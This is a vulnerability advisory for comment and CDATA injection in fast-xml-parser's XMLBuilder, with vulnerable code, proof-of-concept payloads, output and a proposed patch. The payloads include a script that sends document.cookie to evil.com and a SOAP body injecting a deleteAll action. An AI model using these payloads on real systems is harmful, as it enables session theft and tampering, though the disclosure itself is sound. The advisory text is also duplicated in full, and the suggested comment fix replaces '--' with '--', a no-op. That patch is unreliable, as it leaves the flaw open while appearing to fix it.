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fast-xml-parser XMLBuilder does not escape the --> sequence in comment content or the ]]> sequence in CDATA sections when building XML from JavaScript objects. This allows XML injection when user-controlled data flows into comments or CDATA elements, leading to XSS, SOAP injection, or data manipulation.
Existing CVEs for fast-xml-parser cover different issues:
This finding covers unescaped comment/CDATA delimiters in XMLBuilder - a distinct vulnerability.
File: src/fxb.js
// Line 442 - Comment building with NO escaping of -->
buildTextValNode(val, key, attrStr, level) {
// ...
if (key === this.options.commentPropName) {
return this.indentate(level) + `<!--${val}-->` + this.newLine; // VULNERABLE
}
// ...
if (key === this.options.cdataPropName) {
return this.indentate(level) + `<![CDATA[${val}]]>` + this.newLine; // VULNERABLE
}
}
Compare with attribute/text escaping which IS properly handled via replaceEntitiesValue().
import { XMLBuilder } from 'fast-xml-parser';
const builder = new XMLBuilder({
commentPropName: "#comment",
format: true,
suppressEmptyNode: true
});
const xml = {
root: {
"#comment": "--><script>alert('XSS')</script><!--",
data: "legitimate content"
}
};
console.log(builder.build(xml));
Output:
<root>
<!----><script>alert('XSS')</script><!---->
<data>legitimate content</data>
</root>
const builder = new XMLBuilder({
cdataPropName: "#cdata",
format: true,
suppressEmptyNode: true
});
const rss = {
rss: { channel: { item: {
title: "Article",
description: {
"#cdata": "Content]]><script>fetch('https://evil.com/'+document.cookie)</script><![CDATA[more"
}
}}}
};
console.log(builder.build(rss));
Output:
<rss>
<channel>
<item>
<title>Article</title>
<description>
<![CDATA[Content]]><script>fetch('https://evil.com/'+document.cookie)</script><![CDATA[more]]>
</description>
</item>
</channel>
</rss>
const builder = new XMLBuilder({
commentPropName: "#comment",
format: true
});
const soap = {
"soap:Envelope": {
"soap:Body": {
"#comment": "Request from user: --><soap:Body><Action>deleteAll</Action></soap:Body><!--",
Action: "getBalance",
UserId: "12345"
}
}
};
console.log(builder.build(soap));
Output:
<soap:Envelope>
<soap:Body>
<!--Request from user: --><soap:Body><Action>deleteAll</Action></soap:Body><!---->
<Action>getBalance</Action>
<UserId>12345</UserId>
</soap:Body>
</soap:Envelope>
The injected <Action>deleteAll</Action> appears as a real SOAP action element.
All tests run on Node.js v22, fast-xml-parser v5.5.12:
1. COMMENT INJECTION:
Injection successful: true
2. CDATA INJECTION (RSS feed scenario):
Injection successful: true
4. Round-trip test:
Injection present: true
5. SOAP MESSAGE INJECTION:
Contains injected Action: true
An attacker who controls data that flows into XML comments or CDATA sections via XMLBuilder can:
<script> tags into XML/SVG/HTML documents served to browsersThis is practically exploitable whenever applications use XMLBuilder to generate XML from data that includes user-controlled content in comments or CDATA (e.g., RSS feeds, SOAP services, SVG generation, config files).
Escape delimiters in comment and CDATA content:
// For comments: replace -- with escaped equivalent
if (key === this.options.commentPropName) {
const safeVal = String(val).replace(/--/g, '--');
return this.indentate(level) + `<!--${safeVal}-->` + this.newLine;
}
// For CDATA: split on ]]> and rejoin with separate CDATA sections
if (key === this.options.cdataPropName) {
const safeVal = String(val).replace(/]]>/g, ']]]]><![CDATA[>');
return this.indentate(level) + `<![CDATA[${safeVal}]]>` + this.newLine;
}
fast-xml-parser XMLBuilder does not escape the --> sequence in comment content or the ]]> sequence in CDATA sections when building XML from JavaScript objects. This allows XML injection when user-controlled data flows into comments or CDATA elements, leading to XSS, SOAP injection, or data manipulation.
Existing CVEs for fast-xml-parser cover different issues:
This finding covers unescaped comment/CDATA delimiters in XMLBuilder - a distinct vulnerability.
File: src/fxb.js
// Line 442 - Comment building with NO escaping of -->
buildTextValNode(val, key, attrStr, level) {
// ...
if (key === this.options.commentPropName) {
return this.indentate(level) + `<!--${val}-->` + this.newLine; // VULNERABLE
}
// ...
if (key === this.options.cdataPropName) {
return this.indentate(level) + `<![CDATA[${val}]]>` + this.newLine; // VULNERABLE
}
}
Compare with attribute/text escaping which IS properly handled via replaceEntitiesValue().
import { XMLBuilder } from 'fast-xml-parser';
const builder = new XMLBuilder({
commentPropName: "#comment",
format: true,
suppressEmptyNode: true
});
const xml = {
root: {
"#comment": "--><script>alert('XSS')</script><!--",
data: "legitimate content"
}
};
console.log(builder.build(xml));
Output:
<root>
<!----><script>alert('XSS')</script><!---->
<data>legitimate content</data>
</root>
const builder = new XMLBuilder({
cdataPropName: "#cdata",
format: true,
suppressEmptyNode: true
});
const rss = {
rss: { channel: { item: {
title: "Article",
description: {
"#cdata": "Content]]><script>fetch('https://evil.com/'+document.cookie)</script><![CDATA[more"
}
}}}
};
console.log(builder.build(rss));
Output:
<rss>
<channel>
<item>
<title>Article</title>
<description>
<![CDATA[Content]]><script>fetch('https://evil.com/'+document.cookie)</script><![CDATA[more]]>
</description>
</item>
</channel>
</rss>
const builder = new XMLBuilder({
commentPropName: "#comment",
format: true
});
const soap = {
"soap:Envelope": {
"soap:Body": {
"#comment": "Request from user: --><soap:Body><Action>deleteAll</Action></soap:Body><!--",
Action: "getBalance",
UserId: "12345"
}
}
};
console.log(builder.build(soap));
Output:
<soap:Envelope>
<soap:Body>
<!--Request from user: --><soap:Body><Action>deleteAll</Action></soap:Body><!---->
<Action>getBalance</Action>
<UserId>12345</UserId>
</soap:Body>
</soap:Envelope>
The injected <Action>deleteAll</Action> appears as a real SOAP action element.
All tests run on Node.js v22, fast-xml-parser v5.5.12:
1. COMMENT INJECTION:
Injection successful: true
2. CDATA INJECTION (RSS feed scenario):
Injection successful: true
4. Round-trip test:
Injection present: true
5. SOAP MESSAGE INJECTION:
Contains injected Action: true
An attacker who controls data that flows into XML comments or CDATA sections via XMLBuilder can:
<script> tags into XML/SVG/HTML documents served to browsersThis is practically exploitable whenever applications use XMLBuilder to generate XML from data that includes user-controlled content in comments or CDATA (e.g., RSS feeds, SOAP services, SVG generation, config files).
Escape delimiters in comment and CDATA content:
// For comments: replace -- with escaped equivalent
if (key === this.options.commentPropName) {
const safeVal = String(val).replace(/--/g, '--');
return this.indentate(level) + `<!--${safeVal}-->` + this.newLine;
}
// For CDATA: split on ]]> and rejoin with separate CDATA sections
if (key === this.options.cdataPropName) {
const safeVal = String(val).replace(/]]>/g, ']]]]><![CDATA[>');
return this.indentate(level) + `<![CDATA[${safeVal}]]>` + this.newLine;
}
This medium-severity vulnerability could be exploited under certain conditions to compromise security controls or access sensitive information. Should be addressed in a timely manner.
Probability of exploitation in the next 30 days · more likely than 17.9% of all CVEs.
Apply security patches to version 5.7.0 immediately
Isolate affected systems from untrusted networks until patching is complete
Implement enhanced monitoring for exploitation attempts and unusual behavior